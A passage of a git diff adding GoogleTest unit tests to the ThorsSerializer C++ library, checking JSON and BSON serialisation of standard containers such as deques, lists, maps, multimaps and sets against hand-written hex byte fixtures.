"\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} + +TEST(SerArrayTest, BsonArrayOfIntDeSerialize) +{ + std::array data; + static const char inputRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + //std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + + stream >> bsonImporter(data, false); + + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + diff --git a/Extern/include/ThorsSerializer/test/SerDequeTest.cpp b/Extern/include/ThorsSerializer/test/SerDequeTest.cpp new file mode 100644 index 0000000..084a713 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerDequeTest.cpp @@ -0,0 +1,134 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +using namespace ThorsAnvil::Serialize; + +TEST(SerDequeTest, JsonArrayEmpty) +{ + std::stringstream stream("[]"); + std::deque data; + + stream >> jsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerDequeTest, JsonDequeOfIntSerialize) +{ + std::deque data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << jsonExporter(data, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} +TEST(SerDequeTest, JsonDequeOfIntDeSerialize) +{ + std::deque data; + std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + + stream >> jsonImporter(data, false); + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + +TEST(SerDequeTest, BsonArrayEmpty) +{ + //std::stringstream stream("[]"); + static const char expectedRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + std::stringstream stream(expected); + std::deque data; + + stream >> bsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerDequeTest, BsonDequeOfIntSerialize) +{ + std::deque data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << bsonExporter(data, false); + + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); +} +TEST(SerDequeTest, BsonDequeOfIntDeSerialize) +{ + std::deque data; + //std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + static const char expectedRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + std::stringstream stream(expected); + + stream >> bsonImporter(data, false); + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + diff --git a/Extern/include/ThorsSerializer/test/SerInitializerListTest.cpp b/Extern/include/ThorsSerializer/test/SerInitializerListTest.cpp new file mode 100644 index 0000000..45cf75f --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerInitializerListTest.cpp @@ -0,0 +1,53 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +using namespace ThorsAnvil::Serialize; + +TEST(SerInitializerListTest, JsonInitListOfIntSerialize) +{ + std::initializer_list data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << jsonExporter(data, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} + + +TEST(SerInitializerListTest, BsonInitListOfIntSerialize) +{ + std::initializer_list data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << bsonExporter(data, false); + + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} + + diff --git a/Extern/include/ThorsSerializer/test/SerListTest.cpp b/Extern/include/ThorsSerializer/test/SerListTest.cpp new file mode 100644 index 0000000..82ba061 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerListTest.cpp @@ -0,0 +1,140 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +using namespace ThorsAnvil::Serialize; + +TEST(SerListTest, JsonArrayEmpty) +{ + std::stringstream stream("[]"); + std::list data; + + stream >> jsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerListTest, JsonListOfIntSerialize) +{ + std::list data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << jsonExporter(data, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} + +TEST(SerListTest, JsonListOfIntDeSerialize) +{ + std::list data; + std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + + stream >> jsonImporter(data, false); + + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + +TEST(SerListTest, BsonArrayEmpty) +{ + //std::stringstream stream("[]"); + static const char inputRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + std::list data; + + stream >> bsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerListTest, BsonListOfIntSerialize) +{ + std::list data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << bsonExporter(data, false); + + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} + +TEST(SerListTest, BsonListOfIntDeSerialize) +{ + std::list data; + //std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + static const char inputRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + + stream >> bsonImporter(data, false); + + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + + diff --git a/Extern/include/ThorsSerializer/test/SerMapTest.cpp b/Extern/include/ThorsSerializer/test/SerMapTest.cpp new file mode 100644 index 0000000..cdf43d8 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerMapTest.cpp @@ -0,0 +1,148 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerMapTest, Jsonserialize) +{ + std::map data; + data[56] = 78.901; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([{"first":56,"second":78.901}])"); +} + +TEST(SerMapTest, JsondeSerialize) +{ + std::map data; + + std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_EQ(data[64], 12); + EXPECT_EQ(data[118], 14); +} + +TEST(SerMapTest, JsonserializeStringKey) +{ + std::map data; + data["AStringKey"] = 78.902; + data["TestValue"] = 22.903; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"({"AStringKey":78.902,"TestValue":22.903})"); +} + +TEST(SerMapTest, JsondeSerializeStringKey) +{ + std::map data; + + std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true})"); + stream >> TS::jsonImporter(data, false); + + EXPECT_EQ(data["OneFileDay"], true); + EXPECT_EQ(data["TheLastStand"], false); + EXPECT_EQ(data["OfMiceAndMen"], true); +} + +TEST(SerMapTest, Bsonserialize) +{ + std::map data; + data[56] = 78.901; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x28\x00\x00\x00" + "\x03" "0\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x8b\x6c\xe7\xfb\xa9\xb9\x53\x40" + "\x00" + "\x00"; + + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([{"first":56,"second":78.901}])"); +} + +TEST(SerMapTest, BsondeSerialize) +{ + std::map data; + + //std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}])"); + static const char inputRaw[] + = "\x43\x00\x00\x00" + "\x03" "0\x00" + "\x1C\x00\x00\x00" + "\x10" "first\x00" "\x40\x00\x00\x00" + "\x10" "second\x00" "\x0C\x00\x00\x00" + "\x00" + "\x03" "1\x00" + "\x1C\x00\x00\x00" + "\x10" "first\x00" "\x76\x00\x00\x00" + "\x10" "second\x00" "\x0E\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_EQ(data[64], 12); + EXPECT_EQ(data[118], 14); +} + +TEST(SerMapTest, BsonserializeStringKey) +{ + std::map data; + data["AStringKey"] = 78.902; + data["TestValue"] = 22.903; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x2C\x00\x00\x00" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"({"AStringKey":78.902,"TestValue":22.903})"); +} + +TEST(SerMapTest, BsondeSerializeStringKey) +{ + std::map data; + + //std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true})"); + static const char inputRaw[] + = "\x30\x00\x00\x00" + "\x08" "OneFileDay\x00" "\x01" + "\x08" "TheLastStand\x00" "\x00" + "\x08" "OfMiceAndMen\x00" "\x01" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_EQ(data["OneFileDay"], true); + EXPECT_EQ(data["TheLastStand"], false); + EXPECT_EQ(data["OfMiceAndMen"], true); +} + diff --git a/Extern/include/ThorsSerializer/test/SerMemoryTest.cpp b/Extern/include/ThorsSerializer/test/SerMemoryTest.cpp new file mode 100644 index 0000000..4677db3 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerMemoryTest.cpp @@ -0,0 +1,68 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerMemoryTest, Jsonserialize) +{ + std::pair data(56, 78.901); + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"({"first":56,"second":78.901})"); +} + +TEST(SerMemoryTest, JsondeSerialize) +{ + std::pair data; + + std::stringstream stream(R"({"first":22,"second":45.67})"); + stream >> TS::jsonImporter(data, false); + + EXPECT_EQ(data.first, 22); + EXPECT_EQ(data.second, 45.67); +} + +TEST(SerMemoryTest, Bsonserialize) +{ + std::pair data(56, 78.901); + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x8b\x6c\xe7\xfb\xa9\xb9\x53\x40" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"({"first":56,"second":78.901})"); +} + +TEST(SerMemoryTest, BsondeSerialize) +{ + std::pair data; + + //std::stringstream stream(R"({"first":22,"second":45.67})"); + static const char inputRaw[] + = "\x20\x00\x00\x00" + "\x10" "first\x00" "\x16\x00\x00\x00" + "\x01" "second\x00" "\xf6\x28\x5c\x8f\xc2\xd5\x46\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_EQ(data.first, 22); + EXPECT_EQ(data.second, 45.67); +} + diff --git a/Extern/include/ThorsSerializer/test/SerMultiMapTest.cpp b/Extern/include/ThorsSerializer/test/SerMultiMapTest.cpp new file mode 100644 index 0000000..5e442b7 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerMultiMapTest.cpp @@ -0,0 +1,170 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerMultiMapTest, Jsonserialize) +{ + std::multimap data; + data.insert(std::make_pair(56, 78.901)); + data.insert(std::make_pair(56, 901)); + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([{"first":56,"second":78.901},{"first":56,"second":901}])"); +} + +TEST(SerMultiMapTest, JsondeSerialize) +{ + std::multimap data; + + std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}, {"first":118,"second": 112}])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find(64) != data.end()); + EXPECT_TRUE(data.find(118) != data.end()); + EXPECT_EQ(data.count(118), 2); +} + +TEST(SerMultiMapTest, JsonserializeStringKey) +{ + std::multimap data; + data.insert(std::make_pair("AStringKey", 78.902)); + data.insert(std::make_pair("TestValue", 22.903)); + data.insert(std::make_pair("TestValue", 903)); + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"({"AStringKey":78.902,"TestValue":22.903,"TestValue":903})"); +} + +TEST(SerMultiMapTest, JsondeSerializeStringKey) +{ + std::multimap data; + + std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true, "1":true, "1":false})"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find("OneFileDay") != data.end()); + EXPECT_TRUE(data.find("TheLastStand") != data.end()); + EXPECT_TRUE(data.find("OfMiceAndMen") != data.end()); + EXPECT_TRUE(data.find("1") != data.end()); + EXPECT_EQ(data.count("1"), 2); +} + +TEST(SerMultiMapTest, Bsonserialize) +{ + std::multimap data; + data.insert(std::make_pair(56, 78.901)); + data.insert(std::make_pair(56, 901)); + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x4b\x00\x00\x00" + "\x03" "0\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x8b\x6c\xe7\xfb\xa9\xb9\x53\x40" + "\x00" + "\x03" "1\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x00\x00\x00\x00\x00\x28\x8c\x40" + "\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([{"first":56,"second":78.901},{"first":56,"second":901}])"); +} + +TEST(SerMultiMapTest, BsondeSerialize) +{ + std::multimap data; + + //std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}, {"first":118,"second": 112}])"); + static const char inputRaw[] + = "\x6E\x00\x00\x00" + "\x03" "0\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x40\x00\x00\x00" + "\x01" "second\x00" "\x00\x00\x00\x00\x00\x00\x28\x40" + "\x00" + "\x03" "1\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x76\x00\x00\x00" + "\x01" "second\x00" "\x00\x00\x00\x00\x00\x00\x2C\x40" + "\x00" + "\x03" "2\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x76\x00\x00\x00" + "\x01" "second\x00" "\x00\x00\x00\x00\x00\x00\x5C\x40" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find(64) != data.end()); + EXPECT_TRUE(data.find(118) != data.end()); + EXPECT_EQ(data.count(118), 2); +} + +TEST(SerMultiMapTest, BsonserializeStringKey) +{ + std::multimap data; + data.insert(std::make_pair("AStringKey", 78.902)); + data.insert(std::make_pair("TestValue", 22.903)); + data.insert(std::make_pair("TestValue", 903)); + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x3F\x00\x00\x00" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x01" "TestValue\x00" "\x00\x00\x00\x00\x00\x38\x8c\x40" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"({"AStringKey":78.902,"TestValue":22.903,"TestValue":903})"); +} + +TEST(SerMultiMapTest, BsondeSerializeStringKey) +{ + std::multimap data; + + //std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true, "1":true, "1":false})"); + static const char inputRaw[] + = "\x38\x00\x00\x00" + "\x08" "OneFileDay\x00" "\x01" + "\x08" "TheLastStand\x00" "\x00" + "\x08" "OfMiceAndMen\x00" "\x01" + "\x08" "1\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find("OneFileDay") != data.end()); + EXPECT_TRUE(data.find("TheLastStand") != data.end()); + EXPECT_TRUE(data.find("OfMiceAndMen") != data.end()); + EXPECT_TRUE(data.find("1") != data.end()); + EXPECT_EQ(data.count("1"), 2); +} + diff --git a/Extern/include/ThorsSerializer/test/SerMultiSetTest.cpp b/Extern/include/ThorsSerializer/test/SerMultiSetTest.cpp new file mode 100644 index 0000000..72052b4 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerMultiSetTest.cpp @@ -0,0 +1,85 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerMultiSetTest, Jsonserialize) +{ + std::multiset data{34,24,8,11,2,2,2}; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([2,2,2,8,11,24,34])"); +} + +TEST(SerMultiSetTest, JsonbeSerialize) +{ + std::multiset data; + + std::stringstream stream(R"([5,6,8,8,101,123])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); + EXPECT_EQ(data.count(8), 2); +} + +TEST(SerMultiSetTest, Bsonserialize) +{ + std::multiset data{34,24,8,11,2,2,2}; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x36\x00\x00\x00" + "\x10" "0\x00" "\x02\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x02\x00\x00\x00" + "\x10" "3\x00" "\x08\x00\x00\x00" + "\x10" "4\x00" "\x0B\x00\x00\x00" + "\x10" "5\x00" "\x18\x00\x00\x00" + "\x10" "6\x00" "\x22\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([2,2,2,8,11,24,34])"); +} + +TEST(SerMultiSetTest, BsonbeSerialize) +{ + std::multiset data; + + //std::stringstream stream(R"([5,6,8,8,101,123])"); + static const char inputRaw[] + = "\x2F\x00\x00\x00" + "\x10" "0\x00" "\x05\x00\x00\x00" + "\x10" "1\x00" "\x06\x00\x00\x00" + "\x10" "2\x00" "\x08\x00\x00\x00" + "\x10" "3\x00" "\x08\x00\x00\x00" + "\x10" "4\x00" "\x65\x00\x00\x00" + "\x10" "5\x00" "\x7b\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); + EXPECT_EQ(data.count(8), 2); +} + diff --git a/Extern/include/ThorsSerializer/test/SerSetTest.cpp b/Extern/include/ThorsSerializer/test/SerSetTest.cpp new file mode 100644 index 0000000..0e35363 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerSetTest.cpp @@ -0,0 +1,80 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerSetTest, Jsonserialize) +{ + std::set data{34,24,8,11,2}; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([2,8,11,24,34])"); +} + +TEST(SerSetTest, JsonbeSerialize) +{ + std::set data; + + std::stringstream stream(R"([5,6,8,101,123])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); +} + +TEST(SerSetTest, Bsonserialize) +{ + std::set data{34,24,8,11,2}; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x28\x00\x00\x00" + "\x10" "0\x00" "\x02\x00\x00\x00" + "\x10" "1\x00" "\x08\x00\x00\x00" + "\x10" "2\x00" "\x0B\x00\x00\x00" + "\x10" "3\x00" "\x18\x00\x00\x00" + "\x10" 